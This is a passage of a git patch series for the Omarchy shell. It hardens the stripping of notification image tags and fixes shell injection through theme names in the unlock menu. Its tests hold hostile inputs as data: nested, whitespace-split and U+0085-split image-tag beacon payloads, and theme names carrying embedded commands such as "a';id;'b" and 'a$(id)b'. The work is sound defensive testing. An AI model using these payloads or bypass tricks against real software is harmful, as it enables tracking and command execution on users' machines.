done.append(stack.pop()) + done.extend(stack) + return done + + +root = Path(os.environ['ROOT']) +found = [] +for path in sorted((root / 'shell').rglob('*.qml')): + lines = path.read_text().splitlines() + rel = path.relative_to(root) + + # A component whose root element is a Text takes its binding from callers, + # so the default has to be declared in the component itself. + if lines and any(ROOT_TEXT.match(l) for l in lines[:40]): + if not any(re.match(r'\s*textFormat\s*:', l) for l in lines): + found.append(f'{rel}: root Text element declares no textFormat') + + for b in blocks(lines): + if b['name'] != 'Text' or 'textFormat' in b['props']: + continue + if 'text' not in b['props']: + continue + tline = b['props']['text'] + expr = strip_noise(lines[tline], keep_strings=True).split(':', 1)[1] + if is_pure_literal(expr): + continue + found.append(f'{rel}:{tline + 1}: text binding without textFormat') + +for line in found: + print(line) +PY +) + +if [[ -n $violations ]]; then + count=$(printf '%s\n' "$violations" | wc -l) + fail "every Text with a dynamic text binding declares textFormat" \ + "$violations + +$count Text element(s) rely on Text.AutoText for a non-literal binding. +Add an explicit textFormat. Text.PlainText is right for anything that renders +data from outside the shell; use Text.StyledText only where markup is a +deliberate, documented feature, and strip before it reaches the renderer." +fi + +pass "every Text with a dynamic text binding declares textFormat" From 6e962b4466d245bc468352c83bafc9f60986653f Mon Sep 17 00:00:00 2001 From: Erik Melton Date: Wed, 26 Aug 2026 16:36:12 +0200 Subject: [PATCH 069/336] Address review comments: Enforce stricter tag handling and image sanitation in notifications. --- .../notifications/NotificationLogic.js | 58 +++++++++--- test/shell.d/notifications-test.sh | 65 ++++++++++--- test/shell.d/qml-text-format-test.sh | 94 ++++++++++++++++--- 3 files changed, 177 insertions(+), 40 deletions(-) diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index fc71a824..67b7bcca 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -5,30 +5,58 @@ function isChromiumDerived(app, appIcon) { source.indexOf("opera") >= 0 } +// True when a `<...>` run is an image tag, so the name is read the way Qt's +// parser reads it: after the `<` and an optional `/`, the leading run of +// letters and digits. +function isImageTag(tag) { + var name = /^<\/?\s*([A-Za-z0-9]+)/.exec(tag) + return !!name && name[1].toLowerCase() === "img" +} + // The body renders as StyledText so notifications can use the markup the // body-markup capability advertises (see Service.qml). StyledText honours // , and a remote src makes the shell issue an unauthenticated GET // with no user action, so image tags go before the renderer sees them. // -// One replace() pass is not enough. String.replace scans left to right once, -// so a payload spliced inside the literal "`, nested `<` and all — that is how Qt's parser bounds it — +// and only a tag whose own name is `img` is dropped. +// +// Deleting a substring is what makes a naive `/]*>/g` unsafe. Given // // g src="http://a/beacon.png"> -// -> // -// Repeat to a fixed point. Each pass can only shorten the string, so this -// terminates. +// Qt reads ONE malformed tag named `im` and renders nothing, but removing the +// inner match closes the surviving halves up into `` +// — a live tag the input never contained. The stripper would be manufacturing +// the very thing it exists to remove. +// +// Because every `<` opens a tag, the text between tags never contains one, so +// dropping a tag cannot splice its neighbours into a new one. That makes a +// single pass sufficient, with no re-scanning and no input bound to police. function stripImageTags(text) { - var current = text - var previous - do { - previous = current - // The `$` alternative catches a tag left unterminated at the end of the - // string, which the renderer closes for itself. - current = current.replace(/]*(?:>|$)/gi, "") - } while (current !== previous) - return current + var out = "" + var i = 0 + + while (i < text.length) { + var open = text.indexOf("<", i) + if (open === -1) { + out += text.slice(i) + break + } + + out += text.slice(i, open) + + // An unterminated tag at the end of the string still reaches the renderer, + // which closes it itself, so treat the remainder as one tag. + var close = text.indexOf(">", open) + var tag = close === -1 ? text.slice(open) : text.slice(open, close + 1) + + if (!isImageTag(tag)) out += tag + i = close === -1 ? text.length : close + 1 + } + + return out } function sanitizeBody(body, app, appIcon) { diff --git a/test/shell.d/notifications-test.sh b/test/shell.d/notifications-test.sh index 754dd29e..370598f6 100644 --- a/test/shell.d/notifications-test.sh +++ b/test/shell.d/notifications-test.sh @@ -18,20 +18,61 @@ assertEqual( 'notifications strip inline image tags' ) -// The body renders as StyledText, which fetches over the network, so -// the strip has to survive a payload built to outlive one replace() pass. A -// single left-to-right pass consumes the inner tag and lets the outer halves -// close up into a live tag: . -assertEqual( - notifications.sanitizeBody('g src="http://host/beacon.png">', 'Slack', ''), - '', - 'notifications strip image tags that reassemble after one substitution' +// The body renders as StyledText, which fetches over the network. The +// invariant that matters is not a particular output string but that no tag Qt +// would honour as an image survives, so assert that directly. Tags are bounded +// the way Qt bounds them: a `<` opens a tag that runs to the next `>`. +function survivingTagNames(text) { + const names = [] + let i = 0 + while (i < text.length) { + const open = text.indexOf('<', i) + if (open === -1) break + const close = text.indexOf('>', open) + const tag = close === -1 ? text.slice(open) : text.slice(open, close + 1) + const name = /^<\/?\s*([A-Za-z0-9]+)/.exec(tag) + if (name) names.push(name[1].toLowerCase()) + i = close === -1 ? text.length : close + 1 + } + return names +} + +function assertNoImageSurvives(body, description) { + const out = notifications.sanitizeBody(body, 'Slack', '') + const names = survivingTagNames(out) + assert( + !names.includes('img'), + description, + `input: ${body}\noutput: ${out}\ntags: ${JSON.stringify(names)}` + ) +} + +assertNoImageSurvives( + '', + 'notifications leave no image tag for a plain payload' ) -assertEqual( - notifications.sanitizeBody('g src=b>g src="http://host/deep.png">', 'Slack', ''), - '', - 'notifications strip nested image tags to a fixed point' +// A payload spliced inside the literal " the input never had. +assertNoImageSurvives( + 'g src="http://host/beacon.png">', + 'notifications leave no image tag when a payload is spliced inside g src=b>g src="http://host/deep.png">', + 'notifications leave no image tag for a doubly nested payload' +) + +assertNoImageSurvives( + '', + 'notifications leave no image tag when the outer tag is itself named img' +) + +assertNoImageSurvives( + '< img src="http://host/spaced.png">', + 'notifications leave no image tag when whitespace follows the angle bracket' ) assertEqual( diff --git a/test/shell.d/qml-text-format-test.sh b/test/shell.d/qml-text-format-test.sh index ff088969..2d7774f0 100755 --- a/test/shell.d/qml-text-format-test.sh +++ b/test/shell.d/qml-text-format-test.sh @@ -34,7 +34,10 @@ OPEN_ELEMENT = re.compile(r'(?:^|[:\s])([A-Z][A-Za-z0-9_.]*)\s*\{\s*$') PROP = re.compile(r'^\s*([A-Za-z_][A-Za-z0-9_.]*)\s*:') STRING_LITERAL = re.compile(r'"(?:[^"\\]|\\.)*"|\'(?:[^\'\\]|\\.)*\'') PROPERTY_DECL = re.compile(r'^\s*(?:readonly\s+)?property\b') -ROOT_TEXT = re.compile(r'^Text\s*\{\s*$') +# A binding that runs onto the next line: this line ends on an operator, or the +# next line opens with one. +TRAILING_OPERATOR = re.compile(r'(?:&&|\|\||[?:+\-*/,(\[=&|])$') +LEADING_OPERATOR = re.compile(r'^\s*(?:&&|\|\||[?:+\-*/,)\]&|.])') def strip_noise(line, keep_strings=False): @@ -76,6 +79,40 @@ def is_pure_literal(expr): return residue == '' and STRING_LITERAL.search(expr) is not None +def binding_expression(lines, start): + """The whole right-hand side of the binding beginning on line `start`. + + The literal exemption has to be judged on the complete expression. Reading + only the physical `text:` line would exempt `text: "prefix"` while + `+ externalValue` sits underneath, letting a dynamic AutoText binding + through. Reading a wrapped concatenation of literals as dynamic would be + the opposite error, so follow the expression to its end either way. + """ + parts = [] + parens = brackets = 0 + i = start + while i < len(lines): + parts.append(strip_noise(lines[i], keep_strings=True)) + counted = strip_noise(lines[i]) + parens += counted.count('(') - counted.count(')') + brackets += counted.count('[') - counted.count(']') + following = strip_noise(lines[i + 1]) if i + 1 < len(lines) else '' + continues = (parens > 0 or brackets > 0 + or TRAILING_OPERATOR.search(counted.rstrip()) + or LEADING_OPERATOR.match(following)) + if not continues: + break + i += 1 + + chunk = ' '.join(parts) + return chunk.split(':', 1)[1] if ':' in chunk else chunk + + +def exempt_as_literal(lines, tline): + """True when the binding is only string literals, however many lines.""" + return is_pure_literal(binding_expression(lines, tline)) + + def blocks(lines): stack = [] done = [] @@ -89,39 +126,70 @@ def blocks(lines): stack[-1]['props'].setdefault(prop.group(1), idx) n_open = code.count('{') n_close = code.count('}') + depth += n_open - n_close if opened and n_open > 0: - depth += 1 + # OPEN_ELEMENT anchors at the end of the line, so the element it + # matched is the innermost one opened here and its depth is the + # depth after every brace on the line. stack.append({'name': opened.group(1), 'depth': depth, 'props': {}, 'start': idx}) - depth += n_open - 1 - n_close - else: - depth += n_open - n_close while stack and depth < stack[-1]['depth']: done.append(stack.pop()) done.extend(stack) return done +INLINE_TEXT = re.compile(r'(?:^|[:\s])Text\s*\{([^{}]*)\}') +INLINE_BINDING = re.compile(r'\btext\s*:\s*(.*?)\s*(?:;|$)') + + +def inline_violations(lines, rel): + """Whole Text blocks written on one line. + + OPEN_ELEMENT anchors at the end of the line, so the brace scanner never + sees these. A Repeater delegate is a plausible place for one. + """ + out = [] + for idx, raw in enumerate(lines): + code = strip_noise(raw, keep_strings=True) + for match in INLINE_TEXT.finditer(code): + body = match.group(1) + if 'textFormat' in body: + continue + binding = INLINE_BINDING.search(body) + if not binding or is_pure_literal(binding.group(1)): + continue + out.append(f'{rel}:{idx + 1}: inline Text block without textFormat') + return out + + root = Path(os.environ['ROOT']) found = [] for path in sorted((root / 'shell').rglob('*.qml')): lines = path.read_text().splitlines() rel = path.relative_to(root) - - # A component whose root element is a Text takes its binding from callers, - # so the default has to be declared in the component itself. - if lines and any(ROOT_TEXT.match(l) for l in lines[:40]): - if not any(re.match(r'\s*textFormat\s*:', l) for l in lines): - found.append(f'{rel}: root Text element declares no textFormat') + found.extend(inline_violations(lines, rel)) for b in blocks(lines): if b['name'] != 'Text' or 'textFormat' in b['props']: continue + + # Read the block's own properties. A nested child declaring textFormat + # says nothing about its parent, so `Text { Text { textFormat: ... } }` + # must still report the outer element. + # The root element of a component takes its binding from callers, so it + # needs the default whether or not this file binds `text`. Require both + # depth 1 and column 0: the scanner attributes one element per line, so + # a `Row { Text {` line would report depth 1 for a nested block, and + # falling through to the binding check below is the safe reading. + if b['depth'] == 1 and lines[b['start']].startswith('Text'): + found.append(f'{rel}:{b["start"] + 1}: root Text element declares no textFormat') + continue + if 'text' not in b['props']: continue tline = b['props']['text'] - expr = strip_noise(lines[tline], keep_strings=True).split(':', 1)[1] - if is_pure_literal(expr): + if exempt_as_literal(lines, tline): continue found.append(f'{rel}:{tline + 1}: text binding without textFormat') From e428dc26278d529f7754cda57918227d655027fa Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Wed, 26 Aug 2026 17:10:17 +0200 Subject: [PATCH 070/336] Strip image tags whose separator Qt skips but `\s` does not QQuickStyledText skips the characters between `<` and the tag name with QChar::isSpace(), which counts U+0085 NEL. JavaScript's `\s` does not, so isImageTag() read no name at all from a tag written as `<`, U+0085, `img`, kept it, and Qt then read `img` and issued the GET the stripper exists to prevent. Measured against Qt 6.11.2 with an offscreen StyledText and a local HTTP server. Read the name by skipping everything that is not part of it rather than by matching the separator, so the two definitions cannot drift apart again. Over-skipping is the safe direction: it can only classify more runs as images, and dropping a run never manufactures a tag. Co-Authored-By: Claude Opus 5 (1M context) --- .../notifications/NotificationLogic.js | 28 +++++++++++++++---- test/shell.d/notifications-test.sh | 28 +++++++++++++++++-- 2 files changed, 49 insertions(+), 7 deletions(-) diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index 67b7bcca..b3f7be09 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -6,10 +6,21 @@ function isChromiumDerived(app, appIcon) { } // True when a `<...>` run is an image tag, so the name is read the way Qt's -// parser reads it: after the `<` and an optional `/`, the leading run of -// letters and digits. +// parser reads it: after the `<`, the leading run of letters and digits. +// +// Skip everything up to that run rather than matching the separator, because +// there is no JavaScript expression for what Qt skips. QQuickStyledText calls +// skipSpace(), which is QChar::isSpace(), and that set is not `\s`: Qt counts +// U+0085 NEL and `\s` does not, while `\s` counts U+FEFF and Qt does not. A +// name read with `\s` therefore misses a tag written as `<`, U+0085, `img`: +// Qt skips the NEL, reads `img` and issues the GET, while the regex finds no +// name at all and the tag is kept. Measured against Qt 6.11.2. +// +// Over-skipping is the safe direction. It can only classify more runs as +// images, and dropping a run never manufactures a tag: a dropped run joins two +// stretches of text that each contain no `<`. function isImageTag(tag) { - var name = /^<\/?\s*([A-Za-z0-9]+)/.exec(tag) + var name = /^<[^A-Za-z0-9]*([A-Za-z0-9]+)/.exec(tag) return !!name && name[1].toLowerCase() === "img" } @@ -19,8 +30,15 @@ function isImageTag(tag) { // with no user action, so image tags go before the renderer sees them. // // Work in whole tags, never in substrings of one. A `<` opens a tag that runs -// to the next `>`, nested `<` and all — that is how Qt's parser bounds it — -// and only a tag whose own name is `img` is dropped. +// to the next `>`, nested `<` and all, and only a tag whose own name is `img` +// is dropped. +// +// That is the conservative bound, not Qt's exact one: Qt lets a `>` inside a +// quoted attribute value pass without closing the tag, so a Qt tag can be +// longer than the run taken here. Do not "correct" this to match Qt. Taking +// the shorter run only ever splits one Qt tag into several, and a split can +// only expose an `` through. // // Deleting a substring is what makes a naive `/]*>/g` unsafe. Given // diff --git a/test/shell.d/notifications-test.sh b/test/shell.d/notifications-test.sh index 370598f6..6dfc54a8 100644 --- a/test/shell.d/notifications-test.sh +++ b/test/shell.d/notifications-test.sh @@ -21,7 +21,10 @@ assertEqual( // The body renders as StyledText, which fetches over the network. The // invariant that matters is not a particular output string but that no tag Qt // would honour as an image survives, so assert that directly. Tags are bounded -// the way Qt bounds them: a `<` opens a tag that runs to the next `>`. +// the conservative way the stripper bounds them: a `<` opens a tag that runs to +// the next `>`. Qt's own bound can be longer, since a `>` inside a quoted +// attribute value does not close a tag there — which only ever splits one Qt +// tag into several here, so a name this helper reads is a name Qt reads too. function survivingTagNames(text) { const names = [] let i = 0 @@ -30,7 +33,11 @@ function survivingTagNames(text) { if (open === -1) break const close = text.indexOf('>', open) const tag = close === -1 ? text.slice(open) : text.slice(open, close + 1) - const name = /^<\/?\s*([A-Za-z0-9]+)/.exec(tag) + // Read the name the way Qt does, skipping anything that is not part of it. + // Matching the separator with \s instead would give this helper the same + // blind spot as the code it is checking — Qt skips U+0085 and \s does not — + // and an assertion that shares the implementation's bug proves nothing. + const name = /^<[^A-Za-z0-9]*([A-Za-z0-9]+)/.exec(tag) if (name) names.push(name[1].toLowerCase()) i = close === -1 ? text.length : close + 1 } @@ -75,6 +82,23 @@ assertNoImageSurvives( 'notifications leave no image tag when whitespace follows the angle bracket' ) +// Qt skips the separator between `<` and the tag name with QChar::isSpace(), +// which counts U+0085 NEL. JavaScript's \s does not. Reading the name with \s +// finds none here, keeps the tag, and Qt then reads `img` and fetches it — +// measured against Qt 6.11.2, where this exact body makes a StyledText Text +// issue an outbound GET. Asserted on the whole output rather than through +// assertNoImageSurvives so it holds even if that helper is ever loosened. +assertEqual( + notifications.sanitizeBody('<\u0085img src="http://host/nel.png">after', 'Slack', ''), + 'after', + 'notifications strip an image tag whose separator is U+0085, which Qt skips but \\s does not' +) + +assertNoImageSurvives( + '<\u0085img src="http://host/nel2.png">', + 'notifications leave no image tag when U+0085 follows the angle bracket' +) + assertEqual( notifications.sanitizeBody('trailing Date: Wed, 26 Aug 2026 16:22:07 +0100 Subject: [PATCH 071/336] Refuse a theme name that is shell syntax, and quote the one the unlock picker returns A theme installed from a git repo is named after the repo URL, and that name becomes its directory name under ~/.config/omarchy/themes. Style > Unlock built a command line out of the name the picker returned and handed it to omarchy-launch-floating-terminal-with-presentation, which runs its argument as a shell string -- so a theme directory called `a';id;'b` ran `id`. Themes are already held to contributing colour and nothing that executes, which is why omarchy-theme-set stages no .lua, terminal config, or vscode.json from one. Hold the derived name to the characters a theme name needs, which stops it from being dangerous at every place it lands rather than at the one found, and quote it with printf %q on the way into the action for the names already on disk. omarchy-theme-remove keeps its existing path-climb guard: its name reaches only a quoted rm, and the same charset would strand a theme installed before this. Reported-by: Luis Alvarez (lalvarezt) Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_011WFcUm5HWFyxaVYdwAeWPP --- bin/omarchy-theme-install | 13 ++- default/omarchy/omarchy-menu.jsonc | 2 +- test/shell.d/plymouth-set-test.sh | 100 ++++++++++++++++++++++ test/shell.d/theme-install-guards-test.sh | 28 ++++++ 4 files changed, 138 insertions(+), 5 deletions(-) diff --git a/bin/omarchy-theme-install b/bin/omarchy-theme-install index 4bc1d11e..fb5acdc2 100755 --- a/bin/omarchy-theme-install +++ b/bin/omarchy-theme-install @@ -29,10 +29,15 @@ REPO_PATH="$REPO_URL" THEME_NAME=$(basename -- "$REPO_PATH" .git | sed -E 's/^omarchy-//; s/-theme$//' | tr '[:upper:]' '[:lower:]') THEME_PATH="$THEMES_DIR/$THEME_NAME" -# The name comes from the URL and is joined into a path that is about to be -# removed, so a repo called `..` would take ~/.config/omarchy with it. A leading -# dot is refused with it: `host:-s/foo.git` leaves basename with `.git`. -if [[ -z $THEME_NAME || $THEME_NAME == .* || $THEME_NAME == */* ]]; then +# The name comes from the URL, is joined into a path that is about to be +# removed, and then names a directory the rest of Omarchy passes around by +# name: Style > Unlock builds a command line out of the one the picker +# returned. So it is held to the characters a theme name needs rather than +# screened for the harm of the day -- a repo called `..` would take +# ~/.config/omarchy with it, and one called `a';'id` would carry its own +# command into that picker. The leading character is kept out of `.` and `-`, +# which also covers `host:-s/foo.git` leaving basename with `.git`. +if [[ ! $THEME_NAME =~ ^[a-z0-9][a-z0-9._-]*$ ]]; then echo "Error: '$REPO_URL' does not give a usable theme name." exit 1 fi diff --git a/default/omarchy/omarchy-menu.jsonc b/default/omarchy/omarchy-menu.jsonc index 59582db7..10a045af 100644 --- a/default/omarchy/omarchy-menu.jsonc +++ b/default/omarchy/omarchy-menu.jsonc @@ -103,7 +103,7 @@ // Style "style.theme": {"icon":"󰸌","label":"Theme","aliases":["theme","themes"],"action":"theme=$(omarchy-theme-switcher); [[ -n $theme ]] && omarchy-theme-set \"$theme\""}, "style.background": {"icon":"","label":"Background","aliases":["background","wallpaper"],"action":"background=$(omarchy-theme-bg-switcher); [[ -n $background ]] && omarchy-theme-bg-set \"$background\""}, - "style.unlock": {"icon":"󰟵","label":"Unlock","aliases":["unlock"],"action":"unlock=$(omarchy-plymouth-switcher); if [[ $unlock == default ]]; then omarchy-launch-floating-terminal-with-presentation omarchy-plymouth-reset; elif [[ -n $unlock ]]; then omarchy-launch-floating-terminal-with-presentation \"omarchy-plymouth-set-by-theme '$unlock'\"; fi"}, + "style.unlock": {"icon":"󰟵","label":"Unlock","aliases":["unlock"],"action":"unlock=$(omarchy-plymouth-switcher); if [[ $unlock == default ]]; then omarchy-launch-floating-terminal-with-presentation omarchy-plymouth-reset; elif [[ -n $unlock ]]; then omarchy-launch-floating-terminal-with-presentation \"omarchy-plymouth-set-by-theme $(printf %q \"$unlock\")\"; fi"}, "style.font": {"icon":"","label":"Font","provider":"fonts"}, "style.bar": {"icon":"󰍜","label":"Menu Bar"}, "style.bar.position": {"icon":"","label":"Position"}, diff --git a/test/shell.d/plymouth-set-test.sh b/test/shell.d/plymouth-set-test.sh index 2cbc95be..eb8b120b 100755 --- a/test/shell.d/plymouth-set-test.sh +++ b/test/shell.d/plymouth-set-test.sh @@ -41,3 +41,103 @@ grep -Fq 'sudo cp "$staging_dir/logo.png" "$sddm_dir/logo.png"' "$ROOT/bin/omarc fail "omarchy-plymouth-set copies the staged logo to SDDM rather than rereading the caller's path as root" pass "a themed logo cannot republish a file it merely points at" + +# Style > Unlock picks a theme by name and hands the answer to +# omarchy-launch-floating-terminal-with-presentation, which joins its arguments +# into a script and runs that with `bash -c`. So the name is shell source +# unless the action quotes it -- and the name is a directory name under +# ~/.config/omarchy/themes, which a theme installed from a git repo gets from +# the repo URL. `a';id;'b` is a legal directory name. +require_command node + +unlock_action=$(node -e ' + const fs = require("fs") + const path = require("path") + const menu = require(path.join(process.env.ROOT, "shell/plugins/menu/MenuModel.js")) + const items = menu.parseMenuJsonc(fs.readFileSync(path.join(process.env.ROOT, "default/omarchy/omarchy-menu.jsonc"), "utf8")) + process.stdout.write(items.find(item => item.id === "style.unlock").action) +') + +[[ -n $unlock_action ]] || fail "the shipped menu still carries a style.unlock action" + +stub_dir="$test_tmp/stubs" +mkdir -p "$stub_dir" + +canary="$test_tmp/canary" +set_args="$test_tmp/set-args" +reset_marker="$test_tmp/reset-ran" + +# What a name that got reparsed would reach. It is a command rather than a +# `touch` so that no quoting of the test's own paths is involved. +cat >"$stub_dir/omarchy-test-canary" <"$canary" +STUB + +cat >"$stub_dir/omarchy-plymouth-switcher" <<'STUB' +#!/bin/bash +printf '%s\n' "$OMARCHY_TEST_UNLOCK_NAME" +STUB + +# Stands in for the real wrapper, which is a shell-string API: it interpolates +# "$*" into a script and hands that to `bash -c`. The grep below is what keeps +# this stub honest if the wrapper ever stops working that way. +cat >"$stub_dir/omarchy-launch-floating-terminal-with-presentation" <<'STUB' +#!/bin/bash +exec bash -c "omarchy-show-logo; $*; omarchy-show-done" +STUB + +grep -Fq 'bash -c "$presentation_script"' "$ROOT/bin/omarchy-launch-floating-terminal-with-presentation" || + fail "the presentation wrapper still runs its argument as a shell string, as the stub above assumes" + +# Records what actually arrived, so a name that survived as data is told apart +# from one that arrived split or partly eaten. +cat >"$stub_dir/omarchy-plymouth-set-by-theme" <<'STUB' +#!/bin/bash +printf '%s\n' "$#" "$@" >"$OMARCHY_TEST_SET_ARGS" +STUB + +cat >"$stub_dir/omarchy-plymouth-reset" <<'STUB' +#!/bin/bash +printf 'ran\n' >"$OMARCHY_TEST_RESET_MARKER" +STUB + +for command in omarchy-show-logo omarchy-show-done; do + printf '#!/bin/bash\nexit 0\n' >"$stub_dir/$command" +done + +chmod +x "$stub_dir"/* + +run_unlock_action() { + rm -f "$canary" "$set_args" "$reset_marker" + + PATH="$stub_dir:$PATH" \ + OMARCHY_TEST_UNLOCK_NAME="$1" \ + OMARCHY_TEST_SET_ARGS="$set_args" \ + OMARCHY_TEST_RESET_MARKER="$reset_marker" \ + bash -c "$unlock_action" >/dev/null 2>&1 +} + +# A directory name cannot hold a slash or a NUL, and everything else is fair +# game -- these are the shapes that would run on the way to the picker. +for name in "a';omarchy-test-canary;'b" 'a$(omarchy-test-canary)b' 'a`omarchy-test-canary`b' 'a b' '-a'; do + run_unlock_action "$name" + + [[ ! -e $canary ]] || fail "a theme name reaches the unlock screen as data, not as shell" "ran for: $name" + [[ $(cat "$set_args" 2>/dev/null) == $'1\n'"$name" ]] || + fail "the unlock screen gets the theme name whole" "$name: $(cat "$set_args" 2>/dev/null)" +done + +pass "a theme name cannot carry a command into the unlock screen" + +# The two ordinary paths still work: a named theme is applied, and `default` +# resets rather than being looked up as a theme. +run_unlock_action "tokyo-night" +[[ $(cat "$set_args" 2>/dev/null) == $'1\ntokyo-night' ]] || + fail "an ordinary theme name still reaches omarchy-plymouth-set-by-theme" "$(cat "$set_args" 2>/dev/null)" + +run_unlock_action "default" +[[ -e $reset_marker ]] || fail "picking default still resets the unlock screen" +[[ ! -e $set_args ]] || fail "picking default does not look up a theme named default" "$(cat "$set_args")" + +pass "the unlock picker still applies a theme and still resets on default" diff --git a/test/shell.d/theme-install-guards-test.sh b/test/shell.d/theme-install-guards-test.sh index bc29338e..43cf1f3e 100755 --- a/test/shell.d/theme-install-guards-test.sh +++ b/test/shell.d/theme-install-guards-test.sh @@ -92,6 +92,34 @@ done pass "a URL whose name would climb out of the themes directory never reaches git" +# The derived name outlives the clone: it is the theme's directory name, and +# Style > Unlock builds a command line out of the name the picker returned. A +# repo whose name carries shell syntax would hand that picker its own command, +# so the name is refused here rather than quoted at each place it lands. +for url in \ + "https://example.com/omarchy-a';id;'b-theme.git" \ + 'https://example.com/a$(id).git' \ + 'https://example.com/a`id`.git' \ + "https://example.com/a b.git" \ + "https://example.com/-a.git"; do + if install_theme "$url"; then + fail "omarchy-theme-install refuses the derived name from '$url'" + fi + + [[ ! -s $git_calls ]] || fail "omarchy-theme-install refuses '$url' before running git" "$(cat "$git_calls")" +done + +pass "a URL whose name would be shell syntax never reaches git" + +# And the check is an allowlist, so the punctuation a real theme name uses has +# to keep working. +install_theme "https://github.com/example/omarchy-tokyo_night.2-theme.git" || + fail "omarchy-theme-install accepts the punctuation a theme name uses" +grep -Fq "/themes/tokyo_night.2" "$git_calls" || + fail "omarchy-theme-install derives a name carrying an underscore and a dot" "$(cat "$git_calls")" + +pass "a theme name may still hold an underscore, a dot, and a dash" + # basename reads a leading dash as an option once the scp-style prefix is gone. install_theme "host:-s/foo.git" || fail "omarchy-theme-install accepts a normal scp-style URL" grep -Fq -- "-- host:-s/foo.git" "$git_calls" || fail "omarchy-theme-install passes the URL after --" "$(cat "$git_calls")" From 0260d2accbc047dda144b4738fdd8a15b9a9e69d Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Wed, 26 Aug 2026 17:10:30 +0200 Subject: [PATCH 072/336] Stop the textFormat test from passing when it has not checked MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The root rule matched only a file-level root Text, of which this tree has exactly one. QML inline components are roots for the same reason — the `text` of `component InfoValue: Text {` comes from every caller, so the file it lives in never binds it — but they sit inside another element, so the depth-1 test never saw them. Six went uncovered while the test reported green, among them the network panel's InfoValue, which callers bind to the IP address and gateway. Six more ways to write a Text were read as clean rather than as unreadable: an opening brace that is not last on its line, a brace on the line after `Text`, a one-line block containing nested braces, a wrapped binding split by a comment or a blank line before its `+` (which exempted a dynamic binding as a literal), and a root Text indented from column zero. Require the forms a line scanner can read instead of parsing QML; the tree already writes every Text that way. Last, a run that read no files reported success. A checkout with no shell/ QML now fails instead, since an all-clear from a scan that opened nothing is the one answer this test must never give. Each case is covered by a fixture that fails without its fix. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: OpenAI Codex (gpt-5, xhigh) --- shell/plugins/panels/dropbox/Panel.qml | 2 + shell/plugins/panels/network/Panel.qml | 2 + shell/plugins/panels/power/Panel.qml | 2 + test/shell.d/qml-text-format-test.sh | 105 ++++++++++++++++++++++++- 4 files changed, 109 insertions(+), 2 deletions(-) diff --git a/shell/plugins/panels/dropbox/Panel.qml b/shell/plugins/panels/dropbox/Panel.qml index b470cee2..515b43ce 100644 --- a/shell/plugins/panels/dropbox/Panel.qml +++ b/shell/plugins/panels/dropbox/Panel.qml @@ -530,6 +530,7 @@ Panel { } component InfoLabel: Text { + textFormat: Text.PlainText color: root.foreground opacity: 0.6 font.family: root.fontFamily @@ -537,6 +538,7 @@ Panel { } component InfoValue: Text { + textFormat: Text.PlainText color: root.foreground font.family: root.fontFamily font.pixelSize: Style.font.bodySmall diff --git a/shell/plugins/panels/network/Panel.qml b/shell/plugins/panels/network/Panel.qml index c4da0afe..d1e41149 100644 --- a/shell/plugins/panels/network/Panel.qml +++ b/shell/plugins/panels/network/Panel.qml @@ -1954,6 +1954,7 @@ Panel { } component InfoLabel: Text { + textFormat: Text.PlainText color: root.bar.foreground opacity: 0.6 font.family: root.bar.fontFamily @@ -1961,6 +1962,7 @@ Panel { } component InfoValue: Text { + textFormat: Text.PlainText color: root.bar.foreground font.family: root.bar.fontFamily font.pixelSize: Style.font.bodySmall diff --git a/shell/plugins/panels/power/Panel.qml b/shell/plugins/panels/power/Panel.qml index 7733bb37..b1c34da2 100644 --- a/shell/plugins/panels/power/Panel.qml +++ b/shell/plugins/panels/power/Panel.qml @@ -520,6 +520,7 @@ Panel { } component InfoLabel: Text { + textFormat: Text.PlainText color: root.bar.foreground opacity: 0.6 font.family: root.bar.fontFamily @@ -527,6 +528,7 @@ Panel { } component InfoValue: Text { + textFormat: Text.PlainText color: root.bar.foreground font.family: root.bar.fontFamily font.pixelSize: Style.font.bodySmall diff --git a/test/shell.d/qml-text-format-test.sh b/test/shell.d/qml-text-format-test.sh index 2d7774f0..0b286a76 100755 --- a/test/shell.d/qml-text-format-test.sh +++ b/test/shell.d/qml-text-format-test.sh @@ -31,6 +31,8 @@ import re from pathlib import Path OPEN_ELEMENT = re.compile(r'(?:^|[:\s])([A-Z][A-Za-z0-9_.]*)\s*\{\s*$') +INLINE_COMPONENT = re.compile(r'^\s*component\s+[A-Za-z_][A-Za-z0-9_]*\s*:\s*Text\s*\{\s*$') +INLINE_COMPONENT_ONELINE = re.compile(r'^\s*component\s+[A-Za-z_][A-Za-z0-9_]*\s*:\s*Text\s*\{') PROP = re.compile(r'^\s*([A-Za-z_][A-Za-z0-9_.]*)\s*:') STRING_LITERAL = re.compile(r'"(?:[^"\\]|\\.)*"|\'(?:[^\'\\]|\\.)*\'') PROPERTY_DECL = re.compile(r'^\s*(?:readonly\s+)?property\b') @@ -96,7 +98,17 @@ def binding_expression(lines, start): counted = strip_noise(lines[i]) parens += counted.count('(') - counted.count(')') brackets += counted.count('[') - counted.count(']') - following = strip_noise(lines[i + 1]) if i + 1 < len(lines) else '' + # Look past blank and comment-only lines for the continuation. A + # comment or a blank line dropped into a wrapped expression does not + # end it, and stopping there would read `text: "prefix"` as the whole + # binding and exempt it as a literal while `+ externalValue` waits + # below — the exact misreading this function exists to prevent. + following = '' + for ahead in range(i + 1, len(lines)): + candidate = strip_noise(lines[ahead]) + if candidate.strip(): + following = candidate + break continues = (parens > 0 or brackets > 0 or TRAILING_OPERATOR.search(counted.rstrip()) or LEADING_OPERATOR.match(following)) @@ -156,6 +168,12 @@ def inline_violations(lines, rel): body = match.group(1) if 'textFormat' in body: continue + # A component root written on one line needs the default whether or + # not this line binds `text`, for the same reason the block form + # does: every caller supplies the binding. + if INLINE_COMPONENT_ONELINE.match(code): + out.append(f'{rel}:{idx + 1}: inline component root Text declares no textFormat') + continue binding = INLINE_BINDING.search(body) if not binding or is_pure_literal(binding.group(1)): continue @@ -163,12 +181,75 @@ def 